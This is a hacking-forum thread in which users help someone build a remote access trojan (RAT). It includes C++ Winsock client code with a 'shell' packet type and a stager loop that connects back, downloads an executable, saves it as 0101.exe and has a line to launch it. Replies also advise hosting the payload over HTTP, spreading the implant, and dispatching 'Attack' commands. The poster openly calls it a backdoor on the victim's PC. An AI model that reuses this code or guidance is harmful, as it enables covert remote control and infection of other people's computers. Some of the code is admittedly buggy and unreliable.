

Forum:[Hack Forums](#)

Thread: [rat protocol, how to?](#)

F.A.S.T - March 1, 2019, 9:25 am

So I am creating a RAT in Python, C & C++ and some other languages. But I just can't wrap code around a if else statement.

My BETA client has the following protocol;

PHP Code

```
<?php
if(strcmp(recvbuf, "something") == 0 ){
    // do something
else if (.....
..... etc etc etc
```

Is there a way around this? How to big RATS do it? Please help.

(update : silentwatch where u at)

Abruptum - March 1, 2019, 9:32 am

(Mar 1, 2019 10:25 AM)F.A.S.T Wrote: [\[CITE\]](#) So I am creating a RAT in Python, C & C++ and some other languages. But I just can't wrap code around a if else statement.

My BETA client has the following protocol;

PHP Code

```
<?php
if(strcmp(recvbuf, "something") == 0 ){
    // do something
else if (.....
..... etc etc etc
```

Is there a way around this? How to big RATS do it? Please help.

(update : silentwatch where u at)

I would suggest you a already established protocol such as soap its quite easy to maintain in the long run.

then do a gzip compression over your package and then send it.

F.A.S.T - March 1, 2019, 9:40 am

Okay I didn't understand that. Can you tell me in a little bit more detail?

Infamia - March 1, 2019, 10:23 am

- (1) design the protocol
- (2) implement the protocol
- (3) spread the implementation of the protocol

you do (1) efficiently by having existing knowledge of how scalable protocols perform data communication and error handling and applying it into a specification of what an implementation should leave well-defined and what can be implementation defined. you do (2) by implementing the protocol in a language, and filling in the implementation details as you wish, finally you do (3) by knowing how to market and spread programs

0xDEAD10CC - March 1, 2019, 8:31 pm

I would suggest using a LOT more than just simple strcmp's relying on a null terminator as well.

pp_love - March 1, 2019, 11:54 pm

Can you give us some examples of the sort of data you want to transfer across the sockets? That way it may be easier to discuss how to implement a potential protocol.

incognito04 - March 2, 2019, 12:29 am

You could create a struct with a header and body. The header detailing the type of packet and body, storing the main information and send it from your server. Here's a very simple example. To expand on this simple protocol compress the struct before sending it and make sure some type of encryption is used like rsa.

PHP Code

```
<?php
#include <thread>
#include <WS2tcpip.h>

#pragma comment(lib, "Ws2_32.lib")

class Client
{
public:
    Client(LPCSTR host, const u_short port) noexcept
    {
        _addr.sin_family = AF_INET;
        _addr.sin_port = htons(port);

        InetPtonA(AF_INET, host, &_addr.sin_addr);

        _sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    }

    ~Client() noexcept
    {
        if (_sockfd)
        {
            closesocket(_sockfd);
            _sockfd = 0;
        }
    }

    static bool initialize() noexcept
    {
        WSADATA startup;
        return !WSAStartup(WINSOCK_VERSION, &startup);
    }

    bool connect() const noexcept
    {
        return ::connect(_sockfd, reinterpret_cast<const sockaddr*>(&_addr), sizeof(_addr)) !=
            SOCKET_ERROR;
    }
}
```

```

template<typename T>
bool send(const T& val) const noexcept
{
    return ::send(_sockfd, reinterpret_cast<LPCSTR>(&val), sizeof(T), 0) != SOCKET_ERROR;
}

template<typename T>
bool recv(T& val) const noexcept
{
    return ::recv(_sockfd, reinterpret_cast<LPSTR>(&val), sizeof(T), 0) != SOCKET_ERROR;
}

private:
    SOCKET _sockfd;
    sockaddr_in _addr;

};

struct Packet
{
    enum Type : uint8_t
    {
        message = 0,
        shell
        // etc...
    };

    Type type;
    char body[512];
};

INT WINAPI WinMain( _In_     HINSTANCE hInstance,
                    _In_opt_ HINSTANCE hPrevInstance,
                    _In_     LPSTR     szCommandLine,
                    _In_     INT       nShowCmd
                    )
{
    if (!Client::initialize())
        return 1;

    std::atexit(reinterpret_cast<void(*)()>(WSACleanup));

    Client client("127.0.0.1", 1337);

    if (!client.connect())
        return 1;

    std::thread t1([&client]() noexcept
    {
        Packet packet = {};

        while (client.recv(packet))

```

```

    {
        if (packet.type == Packet::message)
        {
        }
        // ...
    }
});

// Do stuff
t1.join();

return 0;
}

```

F.A.S.T - March 2, 2019, 1:18 am

Okay Thanks alot people. So I'm trying to implement this.

Firstly, Generate a small executable that connects back and using that connection I send the bigger file (if this is called staging?).

For testing I was using this;

PHP Code

```

<?php
#include <windows.h>
#include <winsock2.h>
#include <WS2tcpip.h>
#include <fstream>

```

```

#pragma comment(lib, "ws2_32.lib")

```

```

#define buffer 90000 // Because file size. But this is too small and increasing this gives so me error.

```

```

int main()
{
    while(true)
    {
        Sleep(500);

        WSADATA wsa;
        SOCKET mainsocket;
        sockaddr_in server;
        char buf[buffer];

        if(WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
        {
            closesocket(mainsocket);
            WSACleanup();
            continue;
        }

        server.sin_addr.s_addr = inet_addr("127.0.0.1");
        server.sin_port = htons(4155);
        server.sin_family = AF_INET;
    }
}

```

```

mainsocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if(connect(mainsocket, (struct sockaddr*)&server, sizeof(server)) == SOCKET_ERROR)
{
    closesocket(mainsocket);
    WSACleanup();
    continue;
} else {
    int rcddata = recv(mainsocket, buf, buffer, 0);
    if(rcddata <= 0)
    {
        closesocket(mainsocket);
        WSACleanup();
        continue;
    }

    std::ofstream stager;
    stager.open("0101.exe", std::ios::binary);
    stager << buf << std::endl;
    stager.close();

    // system("0101.exe");

}
}

return 0;
}

```

This code is bugged and doesn't transfer the file fully but lets assume that;

File is transferred, The backdoor is in the PC now. Now this is where the Protocol I'm trying to implement goes.

Server (Java, Python) sends commands like and the Client side has to carry them out. Basic RAT structure. But wrong Protocol way. I'm looking for a way where the Client can detect the receive buffer. A clean way.

Abruptum - March 2, 2019, 1:33 am

i would suggest a http load, its easier to find a hoster for such files

stdio - March 2, 2019, 9:55 am

Client must know before hand what function to perform on which command.

```

if(strcmp(buf,"Attack")!= -1)
    infectntfs();
else if (strcmp(buf,"Bye")!= -1)
    exit(0);

```

You can either use blocking methodology or non-blocking

Hint: check out lilith project on github, very good demo for beginners.

(Mar 2, 2019 02:18 AM)F.A.S.T Wrote: [\[CITE\]](#) Okay Thanks alot people. So I'm trying to implement this.

Firstly, Generate a small executable that connects back and using that connection I send the bigger file (if this is called staging?).

For testing I was using this;

PHP Code

```
<?php
#include <windows.h>
#include <winsock2.h>
#include <WS2tcpip.h>
#include <fstream>

#pragma comment(lib, "ws2_32.lib")
#define buffer 90000 // Because file size. But this is too small and increasing this gives so me error.

int main()
{
    while(true)
    {
        Sleep(500);

        WSADATA wsa;
        SOCKET mainsocket;
        sockaddr_in server;
        char buf[buffer];

        if(WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
        {
            closesocket(mainsocket);
            WSACleanup();
            continue;
        }

        server.sin_addr.s_addr = inet_addr("127.0.0.1");
        server.sin_port = htons(4155);
        server.sin_family = AF_INET;

        mainsocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

        if(connect(mainsocket, (struct sockaddr*)&server, sizeof(server)) == SOCKET_ERROR)
        {
            closesocket(mainsocket);
            WSACleanup();
            continue;
        } else {
            int rdata = recv(mainsocket, buf, buffer, 0);
            if(rdata <= 0)
            {
                closesocket(mainsocket);
                WSACleanup();
                continue;
            }

            std::ofstream stager;
```

```
    stager.open("0101.exe", std::ios::binary);
    stager << buf << std::endl;
    stager.close();

    // system("0101.exe");

}

}

return 0;
}
```

This code is bugged and doesn't transfer the file fully but lets assume that;

File is transferred, The backdoor is in the PC now. Now this is where the Protocol I'm trying to implement goes.

Server (Java, Python) sends commands like and the Client side has to carry them out. Basic RAT structure. But wrong Protocol way. I'm looking for a way where the Client can detect the receive buffer. A clean way.

as shown in code above, `recv()` does that for you.. what are you confused about?